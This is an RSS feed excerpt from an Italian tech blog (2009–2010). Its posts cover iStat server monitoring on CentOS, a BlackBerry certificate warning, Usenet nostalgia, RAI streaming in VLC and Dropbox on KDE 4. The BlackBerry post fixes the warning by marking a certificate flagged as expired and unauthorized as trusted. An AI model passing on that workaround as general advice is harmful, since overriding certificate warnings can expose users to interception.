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		<description><![CDATA[Non capita spesso di trovare dei tool di monitoring così interessanti e ad un prezzo assolutamente ridicolo (0,79€): chiaramente non stiamo parlando di un sistema di monitoraggio professionale ed avanzato, ma di un semplice tool per avere rapidamente una &#8220;istantanea&#8221; sullo stato di salute del nostro iPhone, dei nostri server (Linux o Solaris) e dei [...]


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<li><a href='http://www.lemiefrequenze.org/blog/archives/179' rel='bookmark' title='Permanent Link: iPhone e IMAP/SMTP in TLS'>iPhone e IMAP/SMTP in TLS</a></li>
<li><a href='http://www.lemiefrequenze.org/blog/archives/383' rel='bookmark' title='Permanent Link: Le migliori applicazioni IT per iPhone!'>Le migliori applicazioni IT per iPhone!</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Non capita spesso di trovare dei tool di monitoring così interessanti e ad un prezzo assolutamente ridicolo (0,79€): chiaramente non stiamo parlando di un sistema di monitoraggio professionale ed avanzato, ma di un semplice tool per avere rapidamente una &#8220;istantanea&#8221; sullo stato di salute del nostro iPhone, dei nostri server (Linux o Solaris) e dei nostri Mac.</p>
<p>L&#8217;elemento di partenza è l&#8217;applicazione per iPhone (il client), l&#8217;unico componente a pagamento, che può essere <a title="Link all'AppStore" href="http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=303034517&amp;mt=8" target="_blank">acquistato dall&#8217;AppStore</a> a soli 79 cent. Il solo client permette di monitorare il proprio iPhone:</p>
<div id="attachment_976" class="wp-caption aligncenter" style="width: 330px"><a title="iStat: stato dell'iPhone" href="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/01/IMG_0179.png" rel="shadowbox[post-975];player=img;"><img class="size-full wp-image-976" title="iStat: stato dell'iPhone" src="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/01/IMG_0179.png" alt="iStat: stato dell'iPhone" width="320" height="480" /></a><p class="wp-caption-text">iStat: stato dell&#39;iPhone</p></div><br />
<span id="more-975"></span><br />
È comunque possibile aggiungere &#8220;Remote Servers&#8221;, dopo aver configurato l&#8217;applicativo server sulle macchine che vogliamo monitorare.</p>
<p>Se utilizzate CentOS Linux la configurazione è veramente rapida e molto semplice. Basta scaricare l&#8217;RPM dell&#8217;architettura corretta dalla <a title="Link alla pagina di download" href="http://code.google.com/p/istatd/downloads/list" target="_blank">pagina di sviluppo</a> su Google ed installarla:</p>
<p><code>wget http://istatd.googlecode.com/files/istatd-0.5.4-1.el5.rych.i386.rpm<br />
rpm -ivh istatd-0.5.4-1.el5.rych.i386.rpm</code></p>
<p>A questo punto è necessario configurare il demone utilizzando il file di configurazione (<em>/etc/istat.conf</em>). Affinché tutto funzioni è sufficiente decommentare anche solo le voci <em>network_port</em> e <em>server_code</em>, per definire la porta di ascolto del server (5109 di default) ed il codice a cinque cifre di accesso da usare sul client. Alla voce <em>monitor_net</em> trovate di default eth0, ma potete scegliere anche un&#8217;altra interfaccia: è supportato il monitoring di una sola interfaccia di rete, pertanto se disponete di più interfacce dovete indicarne una. Per avere l&#8217;elenco delle interfacce è sufficiente il seguente comando da terminale:</p>
<p><code>ifconfig</code></p>
<p>Alla voce <em>monitor_disk</em> potete indicare il percorso di mount dei dischi da monitorare. I percorsi devono essere separati da uno spazio. Il risultato:</p>
<p><div id="attachment_979" class="wp-caption aligncenter" style="width: 330px"><a href="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/01/IMG_0178.png" rel="shadowbox[post-975];player=img;" title="iStat: monitoring di un server"><img class="size-full wp-image-979" title="iStat: monitoring di un server" src="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/01/IMG_0178.png" alt="iStat: monitoring di un server" width="320" height="480" /></a><p class="wp-caption-text">iStat: monitoring di un server</p></div>


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</ol></p>]]></content:encoded>
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		<title>Blackberry e certificato scaduto</title>
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		<pubDate>Mon, 11 Jan 2010 22:07:11 +0000</pubDate>
		<dc:creator>Mirko Grewing</dc:creator>
				<category><![CDATA[Hardware]]></category>
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		<category><![CDATA[certificati]]></category>
		<category><![CDATA[Google Sync]]></category>
		<category><![CDATA[Latitude]]></category>

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		<description><![CDATA[Nei giorni scorsi dopo aver configurato Google Sync su un dispositivo Blackberry mi sono accorto che molto frequentemente comparivano a schermo continui messaggi che avvisavano di un certificato scaduto e non autorizzato. Non avevo associato immediatamente il problema a Google Sync, in quanto il messaggio di errore non faceva riferimento ad un&#8217;applicazione specifica, ma dopo [...]


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			<content:encoded><![CDATA[<p>Nei giorni scorsi dopo aver configurato <a title="Google Sync per Blackberry" href="http://www.google.com/sync/blackberry.html" target="_blank">Google Sync</a> su un dispositivo Blackberry mi sono accorto che molto frequentemente comparivano a schermo continui messaggi che avvisavano di un certificato scaduto e non autorizzato. Non avevo associato immediatamente il problema a Google Sync, in quanto il messaggio di errore non faceva riferimento ad un&#8217;applicazione specifica, ma dopo un po` di prove mi sono accorto che lanciando la sincronizzazione manuale i messaggi comparivano all&#8217;istante. Stesso problema si verificava tentando di attivare Latitude nel menu di Google Maps per Blackberry.</p>
<p>Ho risolto il problema molto banalmente entrando nel menu <em>Opzioni &gt; Opzioni di protezione &gt; Certificati</em> ed impostando &#8220;Considera attendibile&#8221; sul certificato intestato a <em>www.google.com</em>.</p>
<div id="attachment_972" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/01/Capture9_8_34.jpg" rel="shadowbox[post-971];player=img;"><img class="size-medium wp-image-972" title="Certificati sul Blackberry" src="http://www.lemiefrequenze.org/blog/wp-content/uploads/2010/01/Capture9_8_34-300x200.jpg" alt="Certificati sul Blackberry" width="300" height="200" /></a><p class="wp-caption-text">Certificati sul Blackberry</p></div>
<p>Effettuata questa operazione il messaggio non si è più presentato.</p>


<p>Nessun articolo correlato.</p>]]></content:encoded>
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		<title>Usenet per tutti (Prologo)</title>
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		<pubDate>Thu, 26 Nov 2009 11:45:54 +0000</pubDate>
		<dc:creator>Mirko Grewing</dc:creator>
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		<description><![CDATA[Io appartengo a quella generazione di utenti che ha assistito all&#8217;esplosione di UsenetW. Terminata l&#8217;era delle BBSW infatti Usenet è divenuta una sorta di Café per pochi eletti in cui gli utenti si ritrovavano per discutere più o meno animatamente dei topic più disparati.
Sono stato testimone della nascita dalla gerarchia free.it.*, considerata un abominio etico [...]


Nessun articolo correlato.]]></description>
			<content:encoded><![CDATA[<p>Io appartengo a quella generazione di utenti che ha assistito all&#8217;esplosione di <a href="http://it.wikipedia.org/wiki/Usenet" target="_blank" title="Da Wikipedia la definizione di: Usenet" style="padding-bottom: 2px; border-bottom: 1px dotted #DD0000" >Usenet</a><sup style="font-family: Georgia, Times New Roman, Serif; font-weight: bold; color: #AAAAAA" ><em>W</em></sup>. Terminata l&#8217;era delle <a href="http://it.wikipedia.org/wiki/BBS" target="_blank" title="Da Wikipedia la definizione di: BBS" style="padding-bottom: 2px; border-bottom: 1px dotted #DD0000" >BBS</a><sup style="font-family: Georgia, Times New Roman, Serif; font-weight: bold; color: #AAAAAA" ><em>W</em></sup> infatti Usenet è divenuta una sorta di Café per pochi eletti in cui gli utenti si ritrovavano per discutere più o meno animatamente dei <em>topic</em> più disparati.</p>
<div id="attachment_769" class="wp-caption alignright" style="width: 122px"><a title="Il vecchio C6" href="http://www.lemiefrequenze.org/blog/wp-content/uploads/2009/11/C6multichat-full.jpg" rel="shadowbox[post-766];player=img;"><img class="size-medium wp-image-769  " title="Il vecchio C6" src="http://www.lemiefrequenze.org/blog/wp-content/uploads/2009/11/C6multichat-full-228x300.jpg" alt="Il vecchio C6" width="112" height="147" /></a><p class="wp-caption-text">Il vecchio C6</p></div>
<p>Sono stato testimone della nascita dalla gerarchia <a title="Link al sito del FIAG" href="http://www.fiag.it/index.html" target="_blank"><em>free.it.*</em></a>, considerata un abominio etico dai puristi, una vittoria per i sostenitori dell&#8217;espressione libera e alternativa. In quella fase &#8220;storica&#8221; il numero degli utenti di Usenet crebbe in maniera quasi selvaggia, anche se gli utenti di vecchia data facevano di tutto per garantire ad Usenet quell&#8217;immagine elitaria e perfezionista, con la sua <a href="http://it.wikipedia.org/wiki/netiquette" target="_blank" title="Da Wikipedia la definizione di: netiquette" style="padding-bottom: 2px; border-bottom: 1px dotted #DD0000" >netiquette</a><sup style="font-family: Georgia, Times New Roman, Serif; font-weight: bold; color: #AAAAAA" ><em>W</em></sup>, le sue regole, i suoi <a href="http://it.wikipedia.org/wiki/Request_for_Comments" target="_blank" title="Da Wikipedia la definizione di: Request for Comments" style="padding-bottom: 2px; border-bottom: 1px dotted #DD0000" >Request for Comments</a><sup style="font-family: Georgia, Times New Roman, Serif; font-weight: bold; color: #AAAAAA" ><em>W</em></sup> (meglio noti come RFC). Niente a che vedere con quell&#8217;orda selvaggia e becera di utenti che, nel momento in cui internet cominciava ad essere sdoganata a suon di 56K, puntava direttamente su <strong>atlantide.it</strong> (oggi cannibalizzato da Virgilio/TIN) per scaricare il <a href="http://it.wikipedia.org/wiki/C6_messenger" target="_blank" title="Da Wikipedia la definizione di: C6 messenger" style="padding-bottom: 2px; border-bottom: 1px dotted #DD0000" >C6 messenger</a><sup style="font-family: Georgia, Times New Roman, Serif; font-weight: bold; color: #AAAAAA" ><em>W</em></sup> o <a href="http://it.wikipedia.org/wiki/ICQ" target="_blank" title="Da Wikipedia la definizione di: ICQ" style="padding-bottom: 2px; border-bottom: 1px dotted #DD0000" >ICQ</a><sup style="font-family: Georgia, Times New Roman, Serif; font-weight: bold; color: #AAAAAA" ><em>W</em></sup>.<span id="more-766"></span></p>
<p>Ma ho vissuto anche momenti assolutamente tristi come le lotte &#8220;intestine&#8221; tra vecchi utenti e utenti dell&#8217;ultima ora per la definizione della gerarchia <em>it-alt.*</em> (che non a caso oggi ha due gruppi di gestione separati). Molti utenti si sono allontanati da Usenet, i gruppi di utenti che mantenevano vivi diversi gruppi sono implosi o si sono isolati in <a href="http://it.wikipedia.org/wiki/newsletter" target="_blank" title="Da Wikipedia la definizione di: newsletter" style="padding-bottom: 2px; border-bottom: 1px dotted #DD0000" >newsletter</a><sup style="font-family: Georgia, Times New Roman, Serif; font-weight: bold; color: #AAAAAA" ><em>W</em></sup> private.</p>
<p>Internet divenne uno strumento per le masse ma altrettanto non accadde per Usenet e così, nella continua contaminazione dell&#8217;utenza della rete, i forum soppiantarono i newsgroup in maniera netta e definitiva.</p>
<p>Delle volte mi domando: quanti amanti di Linux ricordano che Linus Torvalds <a title="Link all'annuncio" href="http://groups.google.it/group/comp.os.minix/browse_thread/thread/76536d1fb451ac60/b813d52cbc5a044b?hl=it&amp;ie=UTF-8&amp;oe=utf-8&amp;q=#b813d52cbc5a044b" target="_blank">annunciò</a> la nascita del suo sistema operativo proprio su <em>comp.os.minix</em>? E quanti hanno capito che la maggior parte delle ricerche effettuate su Google Gruppi vanno a &#8220;rovistare&#8221; proprio nel DB dei newsgroup salvato da Google?</p>
<p>Oggi, ahimé, molti nuovi provider neanche prendono in considerazione l&#8217;ipotesi di affiancare ai loro server di posta un <em>news server</em> (vedi ad esempio il caso di Vodafone) e molti utenti non potranno mai scoprire Usenet (e molti altri ne verranno tagliati fuori dopo anni di militanza).</p>
<p>Per questo ho deciso di raccogliere un pò di informazioni sugli attuali server che consentono di leggere e scrivere nelle gerarchie italiane (e nelle principali gerarchie internazionali) gratuitamente.</p>
<p><em>Stay tuned&#8230;</em></p>


<p>Nessun articolo correlato.</p>]]></content:encoded>
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		<title>Guardare i canali RAI in streaming</title>
		<link>http://www.lemiefrequenze.org/blog/archives/763</link>
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		<pubDate>Wed, 18 Nov 2009 21:57:45 +0000</pubDate>
		<dc:creator>Mirko Grewing</dc:creator>
				<category><![CDATA[Multimedia]]></category>
		<category><![CDATA[Moonlight]]></category>
		<category><![CDATA[RAI]]></category>
		<category><![CDATA[Silverlight]]></category>
		<category><![CDATA[streaming]]></category>
		<category><![CDATA[VLC]]></category>

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		<description><![CDATA[Una volta tanto mi risparmio di scrivere un articolo ma ne segnalo uno in cui in maniera chiara ed a prova di equivoci viene spiegato come visualizzare i canali RAI in streaming con VLC senza passare per il browser (quindi senza SilverlightW o MoonlightW). Decisamente più comodo per guardare la TV senza dover tenere il [...]


Nessun articolo correlato.]]></description>
			<content:encoded><![CDATA[<p>Una volta tanto mi risparmio di scrivere un articolo ma ne segnalo uno in cui in maniera chiara ed a prova di equivoci viene spiegato come visualizzare i canali RAI in streaming con VLC senza passare per il browser (quindi senza <a href="http://it.wikipedia.org/wiki/Silverlight" target="_blank" title="Da Wikipedia la definizione di: Silverlight" style="padding-bottom: 2px; border-bottom: 1px dotted #DD0000" >Silverlight</a><sup style="font-family: Georgia, Times New Roman, Serif; font-weight: bold; color: #AAAAAA" ><em>W</em></sup> o <a href="http://it.wikipedia.org/wiki/Moonlight" target="_blank" title="Da Wikipedia la definizione di: Moonlight" style="padding-bottom: 2px; border-bottom: 1px dotted #DD0000" >Moonlight</a><sup style="font-family: Georgia, Times New Roman, Serif; font-weight: bold; color: #AAAAAA" ><em>W</em></sup>). Decisamente più comodo per guardare la TV senza dover tenere il browser aperto sulla pagina RAI oppure se siete tra gli sfortunati cui Moonlight sfinisce le risorse di sistema.</p>
<p>L&#8217;articolo è pubblicato su <a title="Link all'articolo." href="http://www.saggiamente.com/blog/2009/11/come-vedere-tutti-i-canali-rai-in-streaming-sul-mac/" target="_blank">Saggiamente</a>, buona lettura! <img src='http://www.lemiefrequenze.org/blog/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>


<p>Nessun articolo correlato.</p>]]></content:encoded>
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		<title>Dropbox e KDE 4!</title>
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		<pubDate>Tue, 17 Nov 2009 12:09:09 +0000</pubDate>
		<dc:creator>Mirko Grewing</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Troubleshooting]]></category>
		<category><![CDATA[Dropbox]]></category>
		<category><![CDATA[KDE]]></category>

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		<description><![CDATA[Ho trovato in rete diverse guide che spiegavano come integrare Dropbox e KDE 4, ma sempre relativamente confuse e complesse da seguire, mentre invece la procedura è decisamente semplice.
Per quanti si fossero persi per strada, l&#8217;installer di Dropbox per Linux disponibile sul sito è compatibile (e si integra) solo con Nautilus pertanto tutti gli amanti [...]


Nessun articolo correlato.]]></description>
			<content:encoded><![CDATA[<p>Ho trovato in rete diverse guide che spiegavano come integrare Dropbox e KDE 4, ma sempre relativamente confuse e complesse da seguire, mentre invece la procedura è decisamente semplice.</p>
<p>Per quanti si fossero persi per strada, l&#8217;installer di Dropbox per Linux disponibile sul sito è compatibile (e si integra) solo con Nautilus pertanto tutti gli amanti di KDE non possono (in teoria) beneficiare di questo fantastico servizio.</p>
<p>Per prima cosa avete bisogno del pacchetto base per Linux, della giusta architettura:</p>
<p class="download"><a href="http://www.getdropbox.com/download?plat=lnx.x86">Dropbox 32-bit</a><br />
<a href="http://www.getdropbox.com/download?plat=lnx.x86_64">Dropbox 64-bit</a></p>
<p><span id="more-756"></span>Quindi bisogna estrarre l&#8217;archivio nella vostra cartella utente:</p>
<div id="attachment_757" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.lemiefrequenze.org/blog/wp-content/uploads/2009/11/schermata1.png" rel="shadowbox[post-756];player=img;"><img class="size-medium wp-image-757" title="Estrarre i file nella cartella utente" src="http://www.lemiefrequenze.org/blog/wp-content/uploads/2009/11/schermata1-300x291.png" alt="Estrarre i file nella cartella utente" width="300" height="291" /></a><p class="wp-caption-text">Estrarre i file nella cartella utente</p></div>
<p>Ad esempio, se il vostro utente si chiama <em>pippo</em>, dovrete estrarre i file in <em>/home/pippo</em>.</p>
<p>Quindi premete ALT+F2 per aprire la finestra di ricerca ed iniziate a scrivere la parola &#8220;Impostazioni&#8221;: il primo risultato sarà Impostazioni di Sistema.</p>
<div id="attachment_758" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.lemiefrequenze.org/blog/wp-content/uploads/2009/11/schermata2.png" rel="shadowbox[post-756];player=img;"><img class="size-medium wp-image-758" title="Aprite le Impostazioni di Sistema" src="http://www.lemiefrequenze.org/blog/wp-content/uploads/2009/11/schermata2-300x208.png" alt="Aprite le Impostazioni di Sistema" width="300" height="208" /></a><p class="wp-caption-text">Aprite le Impostazioni di Sistema</p></div>
<p>Selezionatelo, quindi aprite il pannello <em>Avanzate</em> e lanciate <em>Avvio automatico</em>:</p>
<div id="attachment_759" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.lemiefrequenze.org/blog/wp-content/uploads/2009/11/schermata3.png" rel="shadowbox[post-756];player=img;"><img class="size-medium wp-image-759" title="Selezionate Avvio automatico" src="http://www.lemiefrequenze.org/blog/wp-content/uploads/2009/11/schermata3-300x236.png" alt="Selezionate Avvio automatico" width="300" height="236" /></a><p class="wp-caption-text">Selezionate Avvio automatico</p></div>
<p>Aggiungete un nuovo script in cui scriverete:<br />
<code>/home/pippo/.dropbox-dist/dropboxd</code> ovviamente sostituendo a <em>pippo</em> il nome del vostro utente.</p>
<div id="attachment_760" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.lemiefrequenze.org/blog/wp-content/uploads/2009/11/schermata4.png" rel="shadowbox[post-756];player=img;"><img class="size-medium wp-image-760" title="Aggiungete lo script" src="http://www.lemiefrequenze.org/blog/wp-content/uploads/2009/11/schermata4-300x92.png" alt="Aggiungete lo script" width="300" height="92" /></a><p class="wp-caption-text">Aggiungete lo script</p></div>
<p>Adesso è sufficiente riavviare per avere Dropbox attivo in background.</p>
<div id="attachment_761" class="wp-caption aligncenter" style="width: 173px"><a href="http://www.lemiefrequenze.org/blog/wp-content/uploads/2009/11/schermata5.png" rel="shadowbox[post-756];player=img;"><img class="size-full wp-image-761" title="Dropbox nella tray" src="http://www.lemiefrequenze.org/blog/wp-content/uploads/2009/11/schermata5.png" alt="Dropbox nella tray" width="163" height="38" /></a><p class="wp-caption-text">Dropbox nella tray</p></div>
<p>In ogni caso, prima di riavviare, vi consiglio di lanciare Dropbox manualmente per effettuare la prima configurazione (ad esempio se già disponete di account).</p>


<p>Nessun articolo correlato.</p>]]></content:encoded>
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